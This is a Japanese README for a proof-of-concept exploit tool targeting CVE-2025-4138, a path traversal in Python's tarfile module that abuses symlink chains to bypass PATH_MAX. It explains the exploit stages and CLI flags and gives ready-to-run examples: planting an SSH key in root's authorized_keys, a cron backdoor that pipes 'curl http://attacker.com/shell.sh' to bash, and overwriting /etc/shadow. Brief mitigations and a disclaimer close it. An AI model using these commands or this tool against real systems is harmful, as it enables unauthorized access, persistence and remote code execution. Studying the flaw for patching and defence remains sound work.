
CVE-2025-4138のPython PoC、Pythonのtarfileモジュールにおけるパストラバーサル。シンボリックリンクチェーンを悪用してPATH_MAXをバイパスし、任意ファイル書き込みを可能にする。
tarfile PATH_MAX バイパス PoC著者: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX バイパス ]
[ 著者: d3vn0mi ]
CVE-2025-4138 の概念実証エクスプロイトです。これはPythonのtarfileモジュールにおけるパストラバーサル脆弱性であり、攻撃者は悪意のあるtarアーカイブを作成し、シンボリックリンクチェーンを悪用してPATH_MAXを超過することで、意図された展開ディレクトリ外の任意の場所にファイルを書き込むことができます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-4138 |
| コンポーネント | Python tarfile モジュール |
| タイプ | パストラバーサル (CWE-22) |
| ベクター | シンボリックリンクチェーン + PATH_MAX バイパス |
| 影響 | 展開ディレクトリ外への任意のファイル書き込み |
エクスプロイトは4つの段階で動作します:
パスの膨張 -- 深くネストされたディレクトリとシンボリックリンクのチェーンを構築し、完全に解決されたパスがカーネルのPATH_MAX制限(Linuxでは4096バイト)を超えるようにします。
ピボットシンボリックリンク -- 解決されたパスがPATH_MAX境界を超えるシンボリックリンクを追加します。パスが長すぎて解決できないため、Pythonのtarfile安全性チェック(os.path.realpath()に依存)は静かに失敗し、検証をスキップします。
エスケープシンボリックリンク -- 2番目のシンボリックリンクは、ピボットを通じて../トラバーサルを使用して展開ディレクトリを完全に脱出し、ファイルシステム上の攻撃者が制御する絶対パスを指します。
ペイロードドロップ -- エスケープシンボリックリンクを通じて通常のファイルが書き込まれ、攻撃者が制御する内容とパーミッションでターゲットパスに配置されます。
Extract dir
|
+-- ddd...d/ (247 char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
外部依存関係は不要です。エクスプロイトはPython 3標準ライブラリモジュールのみを使用します。
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| フラグ | 説明 |
|---|---|
-o, --output | 出力tarballのパス(デフォルト: exploit.tar) |
-t, --target | ターゲットに書き込むファイルの絶対パス(デフォルト: /root/.ssh/authorized_keys) |
-p, --payload | ペイロード内容となるファイルへのパス |
-s, --payload-string | リテラル文字列をペイロードとして使用 |
-k, --ssh-key | SSH公開鍵ファイルへのパス |
-m, --mode | ファイルパーミッションモード(8進数)(デフォルト: 0600) |
-d, --depth | ディレクトリトラバーサルの深さ(デフォルト: 8) |
-v, --verify | 作成後にtarballの内容をダンプ |
-q, --quiet | バナーを非表示 |
SSH公開鍵をrootのauthorized_keysに書き込む:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
永続化のためのcronジョブを書き込む:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
ローカルファイルから任意のファイル内容を書き込む:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] エクスプロイトtarballを作成中: exploit.tar
[*] ターゲットファイル: /root/.ssh/authorized_keys
[*] ペイロードサイズ: 574 バイト
[*] トラバーサル深さ: 8
[*] ステージ1/4: パス膨張のためのシンボリックリンクチェーンを作成中...
[*] チェーンリンク1/16: 解決されたパス長 ~247 バイト
[*] チェーンリンク2/16: 解決されたパス長 ~494 バイト
...
[*] ステージ2/4: ピボットシンボリックリンクを作成中 (PATH_MAX バイパス)...
[*] ステージ3/4: エスケープシンボリックリンクを作成中 (ディレクトリトラバーサル)...
[*] ステージ4/4: エスケープシンボリックリンクを通じてペイロードを書き込み中...
[+] エクスプロイトtarballを作成しました: exploit.tar
[+] アーカイブサイズ: 20480 バイト
[+] ターゲット: /root/.ssh/authorized_keys (mode 0o600)
[+] 完了。注意して使用してください - 許可されたテストのみ。
tarfile.data_filter の使用 (Python 3.12+) により、より厳格な展開制御が可能です。--strip-components の使用 または展開前にアーカイブの内容を検証してください。fs.protected_symlinks)。このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する一切の責任を負いません。所有していないシステムに対してテストを行う前に、必ず適切な書面による許可を取得してください。
このプロジェクトはMITライセンスの下でライセンスされています。
d3vn0mi | GitHub